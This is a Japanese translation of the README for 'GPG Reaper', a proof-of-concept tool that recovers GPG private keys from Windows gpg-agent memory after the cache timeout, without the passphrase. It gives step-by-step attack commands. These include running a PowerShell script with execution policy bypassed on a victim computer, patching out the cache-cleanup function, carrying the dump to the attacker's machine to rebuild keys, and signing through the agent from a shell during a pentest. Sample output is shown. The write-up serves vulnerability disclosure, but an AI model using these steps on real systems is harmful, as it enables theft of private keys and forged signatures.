
GPG Reaper - gpg-agentのキャッシュ/メモリからGPG秘密鍵を取得/盗用/復元する
TL;DR: gpg-agentのキャッシュ/メモリからGPG秘密鍵を取得/盗取/復元する
このPOCは、Windows上の gpg-agent メモリからGPG秘密鍵を取得する方法を示しています。
通常、これは 10分 の時間枠(--default-cache-ttl 値)内でのみ可能であるはずです。
残念ながら housekeeping() 関数(キャッシュのクリーンアップを担当)は、GPGを使用している場合にのみ実行されます(タイマーはありません)。
つまり、通常のGPG使用例(ファイルに署名し、GUIを閉じて別のタスクを行うなど)では、パスワードは依然として gpg-agent のメモリ内に残ります(ttlが期限切れでも)。
現在のセッションにアクセスできる攻撃者は、パスフレーズを知らなくても秘密鍵を盗むためにこれを使用できます。
注意: GPGはバージョン 2.2.6 でキャッシュメカニズムを変更します。コミット と issue を確認してください。

pip install PGPy
次のエラーが発生した場合:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
その場合は:
pip install six==1.10.0
1. Gpg4Win 3.0.3 をインストールします
2. コマンドラインを開き、2秒 のキャッシュ時間でエージェントを起動します:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Kleopatra を実行し、新しい鍵ペアを生成します

4. サンプルのテストファイルに署名します

5. Pinentry がポップアップし、パスフレーズを要求します

6. 手順 4-5 を繰り返します。2 秒のキャッシュが期限切れになるたびに pinentry が表示されます
7. GPG reaper を実行します
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
次のような表示がされます:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
ご覧の通り、鍵をダンプしています。これは housekeeping 関数を NOP したために可能になりました。
8. 秘密鍵を復元します:
python gpg_reaper.py .\testme.txt
秘密鍵がファイルにダンプされます:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent は、プロトコルから独立して秘密鍵を管理するデーモンです。
GUI インターフェースは Assuan プロトコル を使用してエージェントと通信します。
デフォルトでは、エージェントはあなたの認証情報をキャッシュします。
--default-cache-ttl n オプションは、キャッシュエントリの有効期間を n 秒に設定します。
デフォルトは 600 秒です。キャッシュエントリにアクセスするたびに、そのタイマーはリセットされます。
Windows での署名プロセスは次のようになります:

ここで重要なのは housekeeping() 関数で、期限切れの認証情報をメモリから削除する役割を担います。
しかし、1つ問題があります。この関数は2か所(agent_put_cache と agent_get_cache 内部)でのみ実行されます。
つまり、キャッシュされた認証情報は、agent_put_cache または agent_get_cache または agent_flush_cache を使用する gpg-agent コマンドが実行されるまで、メモリから 削除されません。
被害者コンピュータ上で:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
out.txt を自分のマシンに転送し、秘密鍵を復元します:
gpg_reaper.py out.txt
秘密鍵は別々のファイルにダンプされます。
GPG がデフォルトディレクトリ以外にインストールされている場合:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
デバッグメッセージを表示したくない場合:
Gpg-Reaper -Verbose $false
あなたがペネトレーションテストを行っており、GPG がインストールされたコンピュータでシェルを取得したと仮定します。
ユーザーが最近 GPG を使用し、キャッシュが期限切れになっていない場合、次のことができます:
1. ファイルに署名する:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe を実行
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. 秘密鍵をエクスポートする:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe を実行
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
残念ながら、これは期待通りに動作せず、パスワードを要求します。
なぜなら、cmd_export_key() 関数は agent_key_from_file() を CACHE_MODE_IGNORE フラグで実行するため、キャッシュは使用されず、毎回ユーザーにパスフレーズが要求されます。
パスワードを知らなければ gpg-agent を介して GPG 鍵をエクスポートすることはできない ことがわかっています。
しかし、ここには小さな抜け穴があります。エージェントにはいくつかのオプションがあります:
1. --debug-level
問題を調査するためのデバッグレベルを選択します。level は数値またはキーワードです:
guru - 取得可能なすべてのデバッグメッセージ。
2. --log-file file
すべてのログ出力をファイルに追加します。これはエージェントが実際に何をしているかを確認するのに非常に役立ちます。
gpg-agent.exe --daemon --debug-level guru --log-file out.txt を使用してエージェントを起動し、ファイルに署名してみましょう。